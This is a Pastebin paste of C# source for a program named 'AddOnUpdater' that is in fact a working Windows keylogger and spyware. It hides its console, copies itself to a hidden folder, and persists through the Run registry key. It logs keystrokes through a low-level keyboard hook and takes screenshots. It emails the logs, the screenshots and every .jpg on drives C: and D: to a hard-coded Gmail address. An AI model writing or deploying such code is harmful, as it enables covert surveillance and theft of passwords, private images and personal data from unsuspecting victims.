Guest User

Untitled

a guest
Nov 28th, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 12.03 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Imaging;
  7. using System.IO;
  8. using System.Net;
  9. using System.Runtime.InteropServices;
  10. using System.Text;
  11. using System.Text.RegularExpressions;
  12. using System.Windows.Forms;
  13.  
  14. namespace AddOnUpdater
  15. {
  16.     class Program
  17.     {
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private static LowLevelKeyboardProc _proc = HookCallback;
  21.         private static IntPtr _hookID = IntPtr.Zero;
  22.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  23.         {
  24.             using (Process curProcess = Process.GetCurrentProcess())
  25.             using (ProcessModule curModule = curProcess.MainModule)
  26.             {
  27.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  28.                 GetModuleHandle(curModule.ModuleName), 0);
  29.             }
  30.         }
  31.  
  32.  
  33.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  34.         private static extern IntPtr SetWindowsHookEx(int idHook,
  35.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  36.  
  37.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  38.         [return: MarshalAs(UnmanagedType.Bool)]
  39.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  40.  
  41.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  42.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  43.             IntPtr wParam, IntPtr lParam);
  44.  
  45.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  46.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  47.  
  48.  
  49.         [DllImport("kernel32.dll")]
  50.         static extern IntPtr GetConsoleWindow();
  51.  
  52.         [DllImport("user32.dll")]
  53.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  54.  
  55.         const int SW_HIDE = 0;
  56.  
  57.         static IEnumerable<string> Search(string root, string searchPattern)
  58.         {
  59.             Queue<string> dirs = new Queue<string>();
  60.             dirs.Enqueue(root);
  61.             while (dirs.Count > 0)
  62.             {
  63.                 string dir = dirs.Dequeue();
  64.  
  65.                 // files
  66.                 string[] paths = null;
  67.                 try
  68.                 {
  69.                     paths = Directory.GetFiles(dir, searchPattern);
  70.                 }
  71.                 catch { } // swallow
  72.  
  73.                 if (paths != null && paths.Length > 0)
  74.                 {
  75.                     foreach (string file in paths)
  76.                     {
  77.                         yield return file;
  78.                     }
  79.                 }
  80.  
  81.                 // sub-directories
  82.                 paths = null;
  83.                 try
  84.                 {
  85.                     paths = Directory.GetDirectories(dir);
  86.                 }
  87.                 catch { } // swallow
  88.  
  89.                 if (paths != null && paths.Length > 0)
  90.                 {
  91.                     foreach (string subDir in paths)
  92.                     {
  93.                         dirs.Enqueue(subDir);
  94.                     }
  95.                 }
  96.             }
  97.         }
  98.  
  99.         static void MailIt(string _startupMessage)
  100.         {
  101.             string _msg;
  102.             if (_startupMessage == "" | _startupMessage == null |
  103.                 _startupMessage == "nomsg" | _startupMessage == "attchmnt")
  104.             {
  105.                 StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
  106.                 _msg = sr.ReadToEnd();
  107.                 sr.Close();
  108.             }
  109.             else
  110.                 _msg = _startupMessage;
  111.  
  112.             System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
  113.  
  114.             System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "****");
  115.  
  116.             mail.To.Add("sz.adam.87@gmail.com");
  117.             mail.Subject = "AddonUpdater Report";
  118.  
  119.             mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
  120.             mail.IsBodyHtml = true;
  121.             mail.Body = _msg;
  122.            
  123.  
  124.             if (File.Exists(@"C:\AddonUpdater\attchmnt.jpg") & _startupMessage == "attchmnt")
  125.             {
  126.                 System.Net.Mail.Attachment mailAttachment =
  127.                     new System.Net.Mail.Attachment(@"C:\AddonUpdater\attchmnt.jpg");
  128.                 mail.Attachments.Add(mailAttachment);
  129.             }
  130.             else
  131.             {
  132.                 try
  133.                 {
  134.                     System.Net.Mail.Attachment mailAttachment2 =
  135.                         new System.Net.Mail.Attachment(_startupMessage);
  136.                     mail.Attachments.Add(mailAttachment2);
  137.                 }
  138.                 catch
  139.                 {
  140.  
  141.                 }
  142.             }
  143.  
  144.             System.Net.Mail.SmtpClient smtp =
  145.                 new System.Net.Mail.SmtpClient("smtp.gmail.com");
  146.             smtp.UseDefaultCredentials = false;
  147.             smtp.EnableSsl = true;
  148.             smtp.Credentials = cred;
  149.             smtp.Port = 587;
  150.             smtp.Send(mail);
  151.             mail.Dispose();
  152.         }
  153.  
  154.         static void CurrentDomain_ProcessExit(object sender, EventArgs e)
  155.         {
  156.             Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  157.         }
  158.         [DllImport("Kernel32")]
  159.         public static extern bool SetConsoleCtrlHandler(HandlerRoutine Handler, bool Add);
  160.         public delegate bool HandlerRoutine(CtrlTypes CtrlType);
  161.         public enum CtrlTypes
  162.         {
  163.             CTRL_C_EVENT = 0,
  164.             CTRL_BREAK_EVENT,
  165.             CTRL_CLOSE_EVENT,
  166.             CTRL_LOGOFF_EVENT = 5,
  167.             CTRL_SHUTDOWN_EVENT
  168.         }
  169.         public static bool isclosing;
  170.         private static bool ConsoleCtrlCheck(CtrlTypes ctrlType)
  171.         {
  172.             // Put your own handler here
  173.             switch (ctrlType)
  174.             {
  175.                 case CtrlTypes.CTRL_C_EVENT:
  176.                     isclosing = true;
  177.                     Console.WriteLine("CTRL+C received!");
  178.                     Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  179.                     break;
  180.  
  181.                 case CtrlTypes.CTRL_BREAK_EVENT:
  182.                     isclosing = true;
  183.                     Console.WriteLine("CTRL+BREAK received!");
  184.                     Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  185.                     break;
  186.  
  187.                 case CtrlTypes.CTRL_CLOSE_EVENT:
  188.                     isclosing = true;
  189.                     Console.WriteLine("Program being closed!");
  190.                     Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  191.                     break;
  192.  
  193.                 case CtrlTypes.CTRL_LOGOFF_EVENT:
  194.                 case CtrlTypes.CTRL_SHUTDOWN_EVENT:
  195.                     isclosing = true;
  196.                     Console.WriteLine("User is logging off!");
  197.                     Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
  198.                     break;
  199.  
  200.             }
  201.             return true;
  202.         }
  203.  
  204.         static void Main(string[] args)
  205.         {
  206.             var handle = GetConsoleWindow();
  207.  
  208.             ShowWindow(handle, SW_HIDE);
  209.  
  210.             HandlerRoutine hr = new HandlerRoutine(ConsoleCtrlCheck);
  211.             GC.KeepAlive(hr);
  212.             SetConsoleCtrlHandler(hr, true);
  213.  
  214.            
  215.             if (!Directory.Exists(@"C:\AddonUpdater\"))
  216.             {
  217.                 DirectoryInfo di = Directory.CreateDirectory(@"C:\AddonUpdater\");
  218.                 di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
  219.             }
  220.  
  221.  
  222.             if (!File.Exists(@"C:\AddonUpdater\systeminformation.txt"))
  223.             {
  224.                 StreamWriter sw3 = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt");
  225.                 sw3.WriteLine("");
  226.                 sw3.Close();
  227.                 MailIt("Mission accomplished, we're in! :)");
  228.             }
  229.  
  230.             if (!File.Exists(@"C:\AddonUpdater\AddOnUpdater.exe"))
  231.             {
  232.                 File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
  233.                     @"C:\AddonUpdater\AddOnUpdater.exe");
  234.                 Process.Start(@"C:\AddonUpdater\AddOnUpdater.exe");
  235.                 Environment.Exit(0);
  236.             }
  237.  
  238.             if (Registry.GetValue(
  239.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  240.                 "AddonUpdater", null) == null)
  241.                 Registry.SetValue(
  242.                 @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  243.                 "AddOnUpdater", @"C:\AddonUpdater\AddOnUpdater.exe");
  244.  
  245.             if (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", null) == null |
  246.                 (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun",
  247.                     null)).ToString() == "True")
  248.             {
  249.                 Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "False");
  250.                 try
  251.                 {
  252.                     foreach (string match in Search("c:\\", "*.jpg"))
  253.                     {
  254.                         MailIt(match);
  255.                     }
  256.  
  257.                     foreach (string match in Search("d:\\", "*.jpg"))
  258.                     {
  259.                         MailIt(match);
  260.                     }
  261.                 }
  262.                 catch (Exception ex)
  263.                 {
  264.                     Console.WriteLine(ex);
  265.                 }
  266.  
  267.             }
  268.  
  269.             _hookID = SetHook(_proc);
  270.             Application.Run();
  271.             UnhookWindowsHookEx(_hookID);
  272.         }
  273.  
  274.         private delegate IntPtr LowLevelKeyboardProc(
  275.         int nCode, IntPtr wParam, IntPtr lParam);
  276.  
  277.         private static IntPtr HookCallback(
  278.             int nCode, IntPtr wParam, IntPtr lParam)
  279.         {
  280.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  281.             {
  282.                 int vkCode = Marshal.ReadInt32(lParam);
  283.                 Console.WriteLine((Keys)vkCode);
  284.                 StreamWriter sw = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt", true);
  285.                 if (Regex.IsMatch(((Keys)vkCode).ToString(), "Space"))
  286.                 {
  287.                     string _newKey = " ";
  288.                     sw.Write(_newKey);
  289.                     sw.Close();
  290.                 }
  291.                 else
  292.                 {
  293.                     sw.Write((Keys)vkCode);
  294.                     sw.Close();
  295.                 }
  296.                 StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
  297.                 string _counter = sr.ReadToEnd();
  298.                 sr.Close();
  299.                 if (_counter.Length >= 512)
  300.                 {
  301.                     try
  302.                     {
  303.                         File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
  304.                     }
  305.                     catch
  306.                     {
  307.                        
  308.                     }
  309.  
  310.                     try
  311.                     {
  312.                         int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
  313.                         int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
  314.                         Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
  315.                         Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  316.                         gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
  317.                         bmpScreenShot.Save(@"C:\AddonUpdater\attchmnt.jpg", ImageFormat.Jpeg);
  318.                         gfx.Dispose();
  319.                     }
  320.                     catch
  321.                     {
  322.  
  323.                     }
  324.                    
  325.  
  326.                     MailIt("nomsg");
  327.  
  328.                     StreamWriter sw2 = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt");
  329.                     sw2.WriteLine("");
  330.                     sw2.Close();
  331.                     File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
  332.                 }
  333.             }
  334.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  335.  
  336.         }
  337.     }
  338. }
Add Comment
Please, Sign In to add comment